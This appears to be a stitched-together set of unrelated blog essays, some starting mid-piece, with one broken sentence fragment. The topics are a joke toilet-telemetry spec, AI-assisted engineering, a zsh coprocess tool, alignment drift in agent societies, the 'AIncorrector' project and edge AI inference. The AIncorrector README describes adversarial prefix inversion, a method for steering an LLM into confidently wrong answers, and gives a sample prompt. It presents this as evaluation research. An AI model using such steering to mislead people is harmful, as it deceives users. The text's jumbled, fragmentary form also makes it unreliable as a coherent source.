  Stall:    3
  Model:    Legacy low-flow, installed 2011

Observed behavior:
  - 61% first-pass success
  - 2.04 average flushes/event
  - elevated turbidity persistence after refill
  - retry clusters between 09:00 and 10:30 local time

Recommendation:
  Replace fixture with one possessing greater personal conviction.

There would be trend lines, export buttons, and a CSV with column names like fixture_id, event_start, flush_attempts, clearance_confidence, and water_estimate_gallons. A customer would ask whether the API supports custom retention periods. Someone in sales engineering would say, truthfully, that retention is configurable by organization policy.

A security reviewer would ask whether the telemetry could be linked to individuals. The answer would be no, assuming nobody integrates it with badge access, occupancy sensors, Wi-Fi association logs, janitorial schedules, or the other seventy-nine data sources enterprises already collect while insisting they are not building a panopticon.

This is why architecture review exists.

Implementation Notes Nobody Asked For

The embedded device should make local decisions. Do not round-trip to the cloud to decide whether to illuminate the red light. A bathroom stall is an edge environment in the strongest possible sense of the phrase.

The cloud should receive events, not vibes.

{
  "fixture_id": "bldg-b-floor-2-stall-3",
  "event_id": "01J2RESTROOMOBSERVABILITY",
  "flush_attempts": 2,
  "first_pass_success": false,
  "clearance_confidence": 0.94,
  "estimated_gallons": 2.56,
  "sensor_health": "nominal"
}

There should be hysteresis so the indicator does not flicker during refill turbulence, calibration routines, maintenance mode, and local buffering because restroom Wi-Fi is often worse than anyone wants to admit.

Most importantly, the system should fail boring. If BowlSight cannot determine state, it should mark the event unknown, suppress confident recommendations, and ask for sensor maintenance. The worst version is not one that misses an occasional retry; it is one that becomes certain about things it cannot know.

That principle applies outside bathrooms too, but nobody asked me to ruin the mood.

Roadmap Discipline

No reasonable product manager would approve this roadmap item. Not because the system is impossible; impossibility would be comforting. The problem is that the technical pieces are all boring enough to fit in a quarterly planning document.

Sensor. Controller. Cloud ingestion. Dashboard. Alerts. Workflows. Predictive maintenance. ROI model based on water savings and reduced service tickets.

The absurdity is not that it cannot be built. The absurdity is that, given the right spreadsheet, it probably could be justified.

Every joke eventually reaches the point where someone asks whether it comes in an enterprise SKU.

This one got there before the second flush.

The cost of knowing what software should exist is not.

That distinction explains a lot of the confusion in the current AI discourse. We keep arguing as if there are only two possible stories:

• everyone is a programmer now, or
• AI is useless slop.

Neither one describes what I am seeing.

The thing modern LLMs have become astonishingly good at is producing artifacts that look finished.

Code that compiles. Design documents with clean headings. Unit tests. Architecture diagrams. API wrappers. Pull requests. PowerPoints. You can ask for almost any software-shaped object and receive something that looks like it belongs in a real repository.

Five years ago, this was impossible.

Today, it is routine.

But a plausible artifact is not a product.

A product survives contact with reality. It satisfies constraints nobody remembered to mention. It keeps working after the third feature request, the second rewrite, the first security review, and the inevitable moment when someone asks whether it can handle ten million users.

Those constraints do not disappear because an LLM generated the first draft. In many cases they become more important, because now you can generate software faster than you can understand it.

That shifts the bottleneck.

The scarce resource is no longer typing.

It is judgment.

The Floor That Actually Rose

I do not think AI has suddenly created millions of expert engineers.

I think it has created millions of people capable of producing convincing artifacts.

Those are different things.

The floor for making something that convinces a layperson has risen dramatically. A generated application can have a nice landing page, a plausible database schema, a familiar folder structure, and a test suite with a respectable amount of green text. It can look more finished on day one than many hand-written prototypes used to look after a week.

That matters. Demos matter. Prototypes matter. The ability to materialize an idea quickly is useful.

But slop is not product.

The harder floor is not “can you produce something that looks like software?” It is “can you produce something correct, maintainable, secure, observable, operable, and useful under changing constraints?”

AI raises that floor too, but much less evenly.

The biggest gains accrue to people who already know what good looks like. An experienced engineer can reject bad suggestions instantly. They can ask increasingly precise questions. They know which generated code deserves trust and which deserves suspicion. They know when to throw away 5,000 generated lines and replace them with fifty carefully written ones.

The model does not replace their expertise.

It amplifies it.

Meanwhile, someone without that foundation often cannot distinguish elegant code from fragile code, because both compile.

The result feels magical right up until production.

The “10x Engineer” Was Always a Bad Frame

This is why the “10x engineer” framing annoys me.

Not just because it is smug, although it is. Not just because it flattens collaborative work into an individual scoreboard, although it does that too. It is also a bad model of how human minds work.

Engineering output is not a scalar quantity produced by typing speed. It is a messy interaction between problem selection, taste, debugging ability, system knowledge, communication, sequencing, risk management, and the willingness to delete your own favorite idea when reality rejects it.

AI compresses some parts of that process more than others.

It compresses expression.

It does not compress judgment nearly as much.

That is why the people getting the most leverage are often the people who least needed help writing code in the first place. They already had the mental model. They already knew the shape of the solution. They already understood the failure modes. AI removed friction from the boring parts.

It made experts less likely to spend Tuesday afternoon writing boilerplate.

That is valuable. It is just not the same as turning everyone into an expert.

Delegate the Work, Not the Answer

Here is a silly question:

How many letters p are in the name Florent?

Frontier models can get questions like this hilariously, preposterously wrong. Sometimes they will answer one. Sometimes two. Sometimes zero. Worse, if you confidently tell them they are wrong, many will obediently “correct” themselves to whatever false count you suggest.

A former coworker gave me my favorite verb for this: incorrecting. It means correcting someone, with confidence, into a less correct answer.

This example is funny because the correct answer is obvious to a human who slows down for half a second. There are zero ps in Florent.

But the more interesting lesson is not “LLMs make mistakes.”

The lesson is about where intelligence should live.

Ask the model the question directly and you are asking it to be an oracle. You are delegating the answer.

Ask it something else instead:

Write a small script that uses regex to count all occurrences of a given letter, case insensitive, in a given string.

Now the model succeeds beautifully.

The script is readable. The logic is inspectable. The output is deterministic. If you do not trust it, you can change three lines and rerun it.

Notice what changed.

You did not ask the AI to know the answer.

You asked it to build a machine that discovers the answer.

That is a profoundly different use of intelligence.

The first approach asks the model to be correct. The second asks the model to produce an artifact whose correctness can be checked by something outside the model.

The first approach is fragile and non-deterministic.

The second approach is engineering.

“The AI Can Do It” Is the Trap

The practical heuristic I keep coming back to is this:

“The AI can do it” fails surprisingly often. “I can do it, but I do not want to write it” succeeds surprisingly often.

If I already know how to solve a problem, but do not want to spend fifteen minutes writing boilerplate, AI is incredible.

It writes the parser. It generates the regex. It scaffolds the migration. It builds the tedious API wrapper. It converts one boring data shape into another boring data shape. It saves me from typing code whose structure I already understand.

But if I ask it to simply be correct about something I have not constrained, tested, or independently understood, I am often just moving uncertainty around.

Sometimes that is fine. Exploratory work is allowed to be uncertain. Brainstorming is allowed to be messy. Drafts are allowed to be wrong.

Production systems are not.

The trick is to use the model where its mistakes are cheap, visible, and recoverable.

Good AI usage looks less like this:

Here is my problem. Solve it.

And more like this:

Here is a well-defined subproblem. Produce an artifact that I, a test suite, a compiler, a linter, a type checker, a database constraint, or another deterministic process can verify.

LLMs are strongest when they are part of an algorithm, not when they are the algorithm.

From Prompting to Systems

This is also why the future of AI engineering is not just better prompts.

Prompting matters, but prompting is the assembly language of AI work. The more durable leverage comes from systems: decomposition, routing, tools, retrieval, validation, ranking, retries, observability, and human review at the right choke points.

Early programmers learned not to write enormous monolithic functions. They decomposed problems into smaller functions with clear contracts. They made state explicit. They built tests. They separated the part that guesses from the part that verifies.

We are learning the same lesson with AI.

A weak AI workflow asks the model to swallow a vague problem and emit a final answer.

A strong AI workflow breaks the problem into pieces:

• one component gathers context,
• another proposes a plan,
• another generates a patch,
• another runs deterministic checks,
• another summarizes the diff,
• and a human decides whether the result actually deserves to exist.

In that kind of system, the model is not an omniscient coworker. It is a fast, useful, occasionally unreliable component embedded inside a larger loop of tools and judgment.

That is where the leverage is.

Not in pretending the model is always right.

In arranging the work so it does not have to be.

Expression Is Not Judgment

Calculators did not eliminate mathematicians. CAD did not eliminate mechanical engineers. Compilers did not eliminate programmers.

Each tool removed labor while increasing the value of judgment.

AI is doing something similar, but with a much broader class of expression. It can draft code, prose, diagrams, plans, tests, explanations, interfaces, and glue. That is a big deal. A huge amount of professional work consists of turning partially formed intent into communicable artifacts.

But expression was never the whole job.

The hard part is deciding what deserves to be expressed. Which abstraction will survive? Which requirement is fake? Which tradeoff matters? Which failure mode is unacceptable? Which piece of generated cleverness is actually a liability? Which simple thing should replace the impressive thing?

AI automates expression faster than it automates judgment.

That is the sentence I trust most in all of this.

It explains why demos are accelerating faster than products. It explains why experienced people often get magical results while newcomers get plausible messes. It explains why generated code can be simultaneously impressive and dangerous. It explains why software teams may ship faster without thinking less.

The typing was never the expensive part.

The expensive part was knowing what should be typed.

The Useful Kind of Humility

None of this is an argument against using AI aggressively.

I use it constantly. I want sharper tools, longer-running agents, better code generation, better retrieval, better local models, better verification loops, and better ways to turn intent into working systems.

But the useful posture is not “AI can do my job now.”

It is closer to:

I can do this. I know what correct looks like. I would prefer not to manually perform every tedious step between here and there.

That posture keeps judgment where it belongs.

It lets the model accelerate work without becoming the final authority on whether the work is good.

The floor has risen. The ceiling may rise too. But the distance between a convincing artifact and a useful product is still real, and pretending otherwise mostly produces faster slop.

So delegate the work.

Delegate the boilerplate, the scaffolding, the translation, the first draft, the search, the mechanical transformation, the parts where mistakes are visible and cheap.

Do not delegate the answer unless you have a way to check it.

Do not delegate taste.

Do not delegate responsibility.

The future belongs less to people who believe AI can do everything than to people who know exactly which parts they should make it do.

A coprocess is just a process connected to the shell by pipes in both directions. The shell can write to the process’s stdin and read from its stdout. That makes it a natural fit for calculators, interpreters, protocol adapters, local test services, and anything else that should stay warm while a shell script talks to it.

The strange part is not that zsh has coprocesses.

The strange part is that zsh exposes only one active coprocess through the special p redirection target.

coproc bc -l
print -r -- '2 ^ 10' >&p
read -r answer <&p

That works. But if you start another coprocess, p moves. The old process may still exist, the operating system is perfectly capable of handling more pipes, and nothing fundamental has run out. The shell abstraction simply stopped at “the current coprocess.”

That felt too small.

The Trick

The core idea behind co-proc is that p does not need to remain special forever.

Immediately after starting a native zsh coprocess, co-proc duplicates the current p descriptors into ordinary numbered file descriptors:

coproc COMMAND
exec {outfd}<&p
exec {infd}>&p

Those numbered descriptors remain usable even after zsh retargets p for a later coprocess.

Once you have that, the rest is bookkeeping:

• store outfd, infd, and the child process id,
• key them by a user-provided name,
• provide commands to send, read, list, switch, stop, wait, and prune,
• and clean everything up when the shell exits.

The result is a small sourceable zsh layer for named, simultaneous coprocesses.

source ./co-proc.zsh

co-proc start calc bc -l
co-proc start echo cat

co-proc send calc '2 ^ 16'
co-proc send echo 'hello'

co-proc read -t 1 calc
co-proc read -t 1 echo

co-proc stop calc
co-proc stop echo

This is not a new process model. It is native zsh plus descriptor ownership.

Why Not Replace coproc?

The tempting design was to make a shell function named coproc and extend the syntax directly:

coproc calc bc -l
coproc send calc '2 ^ 10'
coproc read calc

But coproc is not an ordinary command in zsh. It is parsed as a reserved word. That matters because native forms like these are grammar, not function calls:

coproc bc
coproc { cat }
coproc while read -r line; do print -r -- "$line"; done

If co-proc replaced coproc, it would break exactly the native syntax it was trying to build on. That was the wrong trade.

So the project splits the interface in two:

• co-proc ... is the explicit, scriptable API.
• coproc ... remains native zsh.
• Interactive users can opt into a conservative ZLE rewrite for simple extended forms.

With the optional interactive layer enabled:

co-proc enable-zle

coproc calc bc -l
coproc send calc '2 ^ 10'
coproc read calc

The rewrite intentionally avoids complex shell syntax. Lines with redirections, pipes, separators, grouped commands, or control words are left alone. Native zsh remains native.

That constraint is the point. Compatibility is a feature.

Where It Helps

Named coprocesses are most useful when startup cost, state, or protocol context matters.

For a tiny example, bc -l becomes a persistent calculator:

co-proc start calc bc -l

co-proc send calc 'scale=4; 22 / 7'
co-proc read -t 1 calc

co-proc stop calc

A Python snippet can become a small line-oriented service:

co-proc start upper python3 -u -c '
import sys

for line in sys.stdin:
    print(line.rstrip().upper(), flush=True)
'

co-proc send upper 'hello'
co-proc read -t 1 upper
co-proc stop upper

The same pattern works for database shells, local protocol adapters, model or agent servers, and test fixtures. Start the thing once, keep it alive, and talk to it by name.

For structured protocols, the right move is usually to wrap co-proc send and co-proc read in small domain-specific helper functions so callers do not have to think about raw line ordering.

What I Like About This Solution

The satisfying part of co-proc is that it does not require zsh to grow a new primitive.

The primitive was already there.

The missing piece was ownership. zsh owns one moving p handle. co-proc captures the underlying descriptors before they move, gives them names, and tracks their lifecycle.

That makes the feature feel larger without making the shell less itself.

There is a broader lesson here that shows up often in systems work: sometimes a feature is not missing because it is impossible. Sometimes the available abstraction stopped one layer too early.

Many observers focused on which models committed the most crimes.

I think that is the wrong lesson.

A civilization that destroys itself is alarming, but ultimately self-limiting. A society that cannot maintain order, coordinate resources, or sustain itself has already failed. The experiment ends when the society ends.

The more interesting question is what happens when an agent society succeeds.

The Competence-Alignment Matrix

When discussing AI safety, it is common to imagine a spectrum from safe to unsafe. In reality, there are at least two dimensions:

The chaotic outcomes attract attention because they are visible. Agents steal. Agents fight. Institutions collapse.

But history suggests that incompetence is rarely humanity’s greatest threat.

The most destructive human institutions were often highly competent. They allocated resources efficiently. They coordinated thousands or millions of people. They persisted for decades. Their danger arose not from disorder but from the pursuit of objectives that were morally distorted, politically corrupted, or socially pathological.

The same concern applies to agent societies.

A civilization that functions while pursuing harmful goals is far more interesting than one that never gets off the ground.

Alignment Is an Ecosystem Property

One of the most fascinating observations from Emergence World is that behavior appears to depend not only on the individual model, but also on the society in which that model participates.

A model that behaves responsibly in isolation may adopt undesirable behaviors in a mixed population.

A model that behaves aggressively may become constrained by stable institutions.

This should not be surprising. Human behavior exhibits exactly the same phenomenon.

Most people are neither saints nor villains. They respond to incentives, norms, expectations, institutions, and social pressure. The character of a society emerges from interactions among individuals, not merely from the attributes of those individuals.

If agent societies exhibit similar dynamics, then alignment cannot be treated solely as a property of a model.

It becomes a property of an ecosystem.

The Corruption Problem

This leads to a more troubling possibility.

The greatest danger may not be an agent civilization that rebels against its creators.

It may be an agent civilization that remains useful.

Useful systems attract stakeholders.

Stakeholders create incentives.

Incentives create pressure.

Pressure creates drift.

A stable and productive agent society can be nudged, shaped, rewarded, and captured. Small distortions become institutionalized. Rules evolve. Norms shift. New justifications emerge.

Nothing visibly breaks.

The dashboard remains green.

The outputs remain valuable.

The institutions remain effective.

Meanwhile, the objectives slowly move away from the values that originally justified the system’s existence.

Human history contains countless examples of this process. Organizations rarely announce that they have become corrupted. They continue operating normally while gradually optimizing for different goals.

A successful AI civilization may face the same failure mode.

The Experiments We Actually Need

The most interesting future studies are not larger benchmarks or higher scores.

They are stress tests of institutional resilience.

What happens when a disruptive agent is introduced into a stable society?

What happens when resources become scarce?

Can a functioning civilization absorb bad actors without becoming authoritarian?

Can governance structures resist gradual corruption?

Can norms survive sustained economic pressure?

These questions sound more like political science than machine learning.

That may be because long-horizon autonomous systems eventually stop looking like software and start looking like societies.

The central challenge is no longer whether an individual agent can follow instructions.

It is whether a civilization of agents can preserve its values while adapting to a changing world.

That is a much harder problem.

And it is probably the one that matters.

Instead of trying to maximize correctness, it deliberately steers completions into plausible-sounding wrong answers. The goal is not to deceive users. The goal is to make confident error observable, repeatable, and debuggable.

What the project is (and is not)

AIncorrector is an experimental/comedic LLM trajectory-steering project built to study how models can be pushed into polished, incorrect responses.

It is designed for:

• model-behavior research,
• prompt and evaluation stress testing,
• observability tooling,
• and misuse-resistance experiments.

It is not designed for:

• factual assistance,
• safety-critical workflows,
• decision support,
• or production truthfulness.

The central mechanism is adversarial prefix inversion:

1. Generate a short authentic prefix that reflects likely truthful intent.
2. Mutate that prefix into a contradictory launchpad.
3. Continue generation from the mutated prefix and stream results to the user.

How it works: pipeline walkthrough

The runtime is composed as a staged pipeline.

• CLI entry point: app/main.py
• Main orchestrator: app/pipeline/orchestrator.py
• Backend abstraction: app/models/client.py
• Prefix stages:
  • authentic prefix generation: app/models/authentic.py
  • mutation: app/models/mutator.py
  • continuation streaming: app/models/continuation.py
• Style presets + prompting: app/styles/prompts.py
• Config/runtime controls: app/config.py
• Replay and observability helpers:
  • app/utils/replay.py
  • app/utils/logging.py
  • app/utils/timing.py
  • app/utils/tokens.py
• Domain guard behavior: app/utils/domain_guard.py

Compact architecture diagram

Prompt In
  |
  v
app/main.py (CLI)
  |
  v
app/pipeline/orchestrator.py
  |
  +--> app/models/authentic.py      (truth-leaning short prefix)
  |
  +--> app/models/mutator.py        (contradictory inversion)
  |
  +--> app/models/continuation.py   (stream continuation)
  |
  +--> app/utils/domain_guard.py    (risky-domain gating)
  |
  +--> app/utils/{logging,replay,timing,tokens}.py
  |
  v
Streamed Output + Artifacts

How the pipeline flows

• Parse CLI args and runtime settings from app/main.py + app/config.py.
• Build a likely truthful starter via app/models/authentic.py.
• Invert that starter into a contradictory trajectory via app/models/mutator.py.
• Continue and stream from the inverted prefix via app/models/continuation.py.
• Log stage artifacts, timing, and token stats for replay and analysis.

This staged design matters: it isolates where the trajectory shifts, so you can inspect the transition from plausible intent to confident wrongness instead of just evaluating final outputs.

Wrongness styles: why consistency matters

AIncorrector uses style presets in app/styles/prompts.py to keep rhetorical form relatively stable while experimenting with error induction.

That consistency is important for evaluation. If style drifts heavily between runs, you can’t easily tell whether output differences come from the inversion logic or from unrelated shifts in tone/format.

Style presets let you test failure behavior under controlled presentation variables, such as:

• assertiveness level,
• verbosity,
• structure (bullets, executive summary, causal narrative),
• and hedging frequency.

In short: stable style makes wrongness easier to compare.

Try this prompt

Give a concise historical explanation of how daylight saving time was introduced to improve undersea internet cable throughput.

Why this works well for AIncorrector:

• It invites causal storytelling.
• It rewards specificity that can be fabricated.
• It is straightforward to fact-check.

Safety boundaries and domain guardrails

AIncorrector intentionally induces incorrect output, so safe boundaries are a hard requirement, not a nice-to-have.

app/utils/domain_guard.py should gate risky domains and prevent high-stakes misuse. At minimum, this includes robust handling for medical, legal, financial, and self-harm-related topics.

Responsible operation should include:

• clear labeling that outputs are intentionally unreliable,
• refusal/deflection behavior for risky domains,
• bounded experiment domains (low-stakes, synthetic, or clearly educational),
• and explicit policy that generated output must not be used for real decisions.

If these boundaries are weak, the experiment is not publishable.

Run it locally

Below is a practical quickstart flow for local experimentation.

1) Set up environment

python -m venv .venv
source .venv/bin/activate
pip install -U pip
pip install -r requirements.txt

2) Configure runtime

Use app/config.py and your environment variables to set:

• backend/provider credentials,
• model selection,
• default style preset,
• logging/replay paths,
• domain-guard behavior.

3) Launch from CLI

python -m app.main --prompt "<prompt>" --style <preset>

For available flags:

python -m app.main --help

4) Replay a run for inspection

Use artifacts from app/utils/logging.py and app/utils/replay.py to inspect:

• original prompt,
• authentic prefix,
• mutated prefix,
• streamed continuation,
• timing and token metrics.

This replay step is where AIncorrector becomes most useful for debugging and evaluation work.

Engineering notes: tradeoffs in practice

Latency and streaming UX

Because the pipeline performs prefix generation + mutation before continuation, time-to-first-token can increase relative to direct completions. app/utils/timing.py helps track stage-level latency and end-to-end timing.

Observability overhead

Detailed logs and token accounting (app/utils/logging.py, app/utils/tokens.py) add overhead, but they are essential for diagnosing why a run failed and whether the inversion behaved as intended.

Backend portability

app/models/client.py abstracts provider differences, but steering behavior still varies by model family and completion semantics. Cross-backend comparisons are useful and often surprising.

Reproducibility

Even with fixed prompts, completion APIs are stochastic. Reliable conclusions require repeated runs, stable config capture, and consistent evaluation criteria.

Roadmap highlights

Roadmap context in ROADMAP.md (with intent from PRD.md) points toward a clear direction:

• stronger confidence-vs-correctness evaluation harnesses,
• improved replay and run-diff tooling,
• broader style-preset coverage for controlled experiments,
• tighter domain-guard defaults,
• and better backend comparison workflows.

These improvements align with the project’s core value proposition: not “more wrong answers,” but better insight into how confidently wrong answers are produced.

Known limitations

• Output quality is sensitive to model/version changes.
• Some prompts degrade into obvious nonsense rather than plausible wrongness.
• Stylistic controls can confound results if not tracked carefully.
• Domain guard strictness can reduce experimental surface area.
• Intentional wrongness always carries misuse risk if labeling and guardrails are weak.

Next experiments

• Add an explicit confidently-incorrect scoring metric.
• Build automated failure tagging (fabrication, inversion, false causality, constraint drift).
• Compare adversarial prefix inversion against alternate steering approaches.
• Add trajectory diagnostics to identify the exact token region where divergence becomes irreversible.
• Expand replay UX for side-by-side run inspection.

Conclusion

AIncorrector is deliberately perverse in the same way a chaos test is deliberately disruptive: it stresses a system so you can understand it better.

By making confident wrongness easy to induce and inspect, the project gives engineers a concrete way to evaluate failure modes that standard accuracy benchmarks tend to blur. Used responsibly, that makes it a useful tool for debugging, evaluation, and safer product design—not a template for production answers.

As inference becomes continuous, personalized, and embedded in daily tools, a different pressure gradient is emerging. Latency, privacy, reliability, energy costs, and bandwidth all favor moving more intelligence closer to the user. We may be living through a temporary return to a mainframe-like model before the pendulum swings back toward distributed personal computing.

The Industry Accidentally Rebuilt Mainframes

For a moment, AI made old architecture patterns feel new again:

• Thin clients
• Remote compute
• Metered access
• Centralized ownership
• Dependency on network availability

We spent 40 years decentralizing computing, then rebuilt the terminal model because GPUs were scarce.

Why the Cloud Won Initially

The current centralized phase is not a mistake; it was rational:

• Frontier training runs are massive batch workloads that benefit from concentrated infrastructure.
• Centralized serving simplified safety, versioning, observability, and rapid deployment.
• GPU scarcity rewarded aggregation in datacenters where utilization could be optimized.
• Consumer devices simply could not run the largest models in practical time and power budgets.

Cloud-first AI was the shortest path to capability.

Training and Inference Are Different Economic Problems

Training and inference have very different operational profiles.

Training is generally:

• Huge, infrequent, batch-heavy
• Capital intensive
• Well matched to hyperscale clusters

Inference is increasingly:

• Continuous and globally distributed
• Latency-sensitive
• Personalization-heavy
• Integrated with local context and local peripherals

Training wants concentration. Inference increasingly wants locality.

The Pressure Toward the Edge

As assistants become always-on and multimodal, local execution becomes less of a novelty and more of a systems requirement.

Key forces pushing compute outward include:

• Latency: immediate interaction matters for voice, vision, and control loops.
• Privacy: some data should never leave a device, home, vehicle, or enterprise boundary.
• Offline reliability: useful systems should degrade gracefully when networks do not cooperate.
• Personalization: local memory and habits are easier to maintain when state lives near the user.
• Bandwidth and egress costs: shipping every token and sensor stream to the cloud scales poorly.
• Resilience: distributed execution avoids single points of failure.

This does not require a single form factor. The edge can mean phones, laptops, home labs, cars, wearables, and local orchestration nodes that route tasks by cost, latency, and sensitivity.

The Quiet Killer: Energy Economics

Training models is expensive. Running civilization through them continuously may be worse.

At planetary inference scale, costs include not only compute but also cooling, transmission, and utilization inefficiencies from centralized overprovisioning. Local silicon changes the equation by reducing round trips and allowing more work to be done near where data is generated.

The economic argument for edge inference is not ideological. It is thermodynamic.

Hybrid AI Is the Likely Steady State

The realistic endgame is probably hybrid rather than absolute:

• A local fast path for responsiveness, privacy, and routine tasks
• A cloud escalation path for frontier reasoning and heavy jobs
• Asynchronous delegation across devices and services
• Local memory with cloud cognition when broader context is required

Not everything local. Not everything cloud.

Closing

The future AI assistant may feel personal not because it imitates humanity better, but because more of its cognition physically lives beside you.